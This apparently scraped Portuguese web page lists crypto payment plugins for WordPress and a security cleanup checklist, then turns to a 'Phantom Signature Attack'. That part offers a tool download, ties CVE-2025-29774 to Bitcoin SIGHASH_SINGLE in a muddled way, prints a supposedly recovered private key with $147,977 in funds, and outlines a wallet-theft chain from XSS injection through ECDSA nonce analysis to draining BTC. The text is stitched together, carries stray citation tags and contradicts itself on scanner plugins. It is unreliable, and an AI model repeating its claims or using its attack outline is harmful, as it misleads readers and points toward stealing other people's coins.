  • Pagamentos diretos para a sua carteira sem intermediários awisee+1
  • Código aberto com uma comunidade ativa de programadores instawp+1
  • Taxas de transação zero
  • Requer competências técnicas para configurar o seu próprio servidor atlos.

Blockonomics  é um gateway de pagamento descentralizado: slashdot+2

  • Os pagamentos vão  diretamente para a sua slashdot+1 carteira Bitcoin.
  • Sem necessidade de KYC slashdot+1
  • As primeiras 20 transações são gratuitas + 1% de comissão.
  • Integração fácil com WordPress e WooCommerce atlos+1
  • Código aberto atlos

CryptoPay (by BeycanPress)  é um gateway de pagamento cripto abrangente: beycanpress+1

  • Suporte para 16+ plugins WordPress por beycanpress
  • Suporte interno para redes EVM beycanpress
  • Uma ampla seleção de criptomoedas: Crocoblock
  • Desenvolvimento ativo e suporte por beycanpress

CoinGate  é um processador de pagamentos blockchain confiável: g2+2

  • Suporte para mais de 50 criptomoedas.
  • Boa reputação  e longa história de trabalho workawisee
  • Suporte técnico profissional awisee
  • Conformidade regulatória g2

MyCryptoCheckout  é um plugin focado em privacidade: instawp+2

  • 0% de taxas de transação instawp+1
  • Transações peer-to-peer sem terceiros instawp
  • Suporta mais de 100 moedas, incluindo Bitcoin e Ethereum instawp
  • Pagamentos diretos para suas carteiras instawp preferidas

ABC Crypto Checkout  – Pagamentos Cripto Diretos: crocoblock+1

  • Pagamentos diretos para carteiras cripto sem intermediários (crocoblock+1)
  • Integração com a API Binance Pay instawp​
  • Converta qualquer moeda fiduciária em criptomoeda com taxas ao vivo no instawp.
  • Crédito imediato de fundos para a conta do comerciante instawp

Medidas de segurança adicionais após a remoção

Auditoria de Segurança Pós-Remoção

1. Varredura de Malware: solidwp+1

  • Use  serviços profissionais de resposta a incidentes  para escanear malware no servidor patchstack
  • Não confie em plugins de varredura de malware, pois eles são frequentemente adulterados por código malicioso.
  • Serviços recomendados: Wordfence, Sucuri, Patchstackdreamhost+1

2. Verificação de contas de administrador: wordfence+1

  • Verifique se há contas administrativas suspeitas que possam ter sido criadas através da exploração de uma vulnerabilidade XSS .
  • Remova todas as contas desconhecidas ou não autorizadas solidwp
  • Altere as senhas de todas as contas administrativas solidwp

3. Análise de logs de acesso: wp-rocket+1

  • Revise seus logs de servidor em busca de  atividades incomuns  enquanto o plugin vulnerável estava em uso.
  • Procure por solicitações suspeitas para arquivos de plugin GoUrlhosted
  • Verifique tentativas de acesso não autorizado wp-rocket

Estratégias preventivas para o futuro

1. Audite regularmente os plugins instalados: patchstack+2

  • Verifique  todos os plugins instalados mensalmente quanto à atividade de desenvolvimento.
  • Identifique plugins que não foram atualizados em mais de 6 meses dreamhost+1
  • Remova imediatamente plugins abandonados ou não utilizados wp-content+1

2. Implementação da política de gerenciamento de plugins: wp-eventmanager+1

  • Instale  apenas plugins do repositório oficial do WordPress  ou de provedores confiáveis (paymattic+1)
  • Verifique classificações, avaliações e histórico de atualizações antes de instalar patchstack.
  • Limite o número de plugins instalados ao mínimo necessário wp-eventmanager

3. Automatize atualizações de segurança: wp-eventmanager+1

  • Ative  atualizações automáticas  para plugins de segurança críticos (patchstack)
  • Use serviços de monitoramento,

Para CVE-2025-26541 (CodeSolz):

  • Atualize para a versão 1.7.7 ou superior  imediatamente secalerts
  • Verifique contas administrativas suspeitas
  • Revise logs de acesso para atividades incomuns

Phantom Signature Attack: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

Advertência de Segurança para CVE-2025-26541 (CodeSolz)

Informações básicas sobre CVE-2025-26541

CVE-2025-26541 é um identificador de vulnerabilidade associado ao produto CodeSolz. Esta vulnerabilidade representa uma ameaça significativa à segurança dos recursos que utilizam este software, pois permite que atacantes obtenham acesso não autorizado a funções administrativas ou realizem ações maliciosas em instâncias vulneráveis do sistema.

Recomendações para eliminação e prevenção

1. Atualize imediatamente o CodeSolz para a versão 1.7.7 ou superior


Read more

Baixar ferramenta
Identificador CVEComponentePontuação CVSSCriticidade
CVE-2025-29774xml-crypto / SIGHASH_SINGLE9.3Crítica
CVE-2025-29775xml-crypto DigestValue bypass9.3Crítica
CVE-2025-48102GoUrl Bitcoin Payment Gateway (Stored XSS)5.9Média
CVE-2025-26541CodeSolz WooCommerce Gateway (Reflected XSS)6.1Média
Tipo SighashSignificado (hex)Descrição
SIGHASH_ALL0x01Todas as entradas e saídas de uma transação são assinadas.
SIGHASH_NONE0x02Todas as entradas são assinadas, as saídas não são assinadas.
SIGHASH_SINGLE0x03Apenas a saída com o mesmo índice da entrada é assinada.
SIGHASH_ANYONECANPAY0x80Modificador: Assina apenas a entrada atual
Valor dos fundos recuperados
$147,977
Chave privada recuperada (HEX)162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60
Chave privada recuperada (WIF comprimido)KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW
Chave privada recuperada (Decimal)10026140495284003567451866992720396489963405427298392513418967636817767529056
FaseAçãoVulnerabilidade explorada
1Injeção de JavaScript malicioso em um gateway de pagamentoCVE-2025-48102 (XSS Armazenado)
2Interceptação dos parâmetros ECDSA (r, s) de transaçõesInjeção de JavaScript
3Análise das assinaturas coletadas em busca de repetição de nonceCriptanálise
4Recuperação matemática de uma chave privadaAtaque de Assinatura Fantasma
5Retirada não controlada de BTCComprometimento da carteira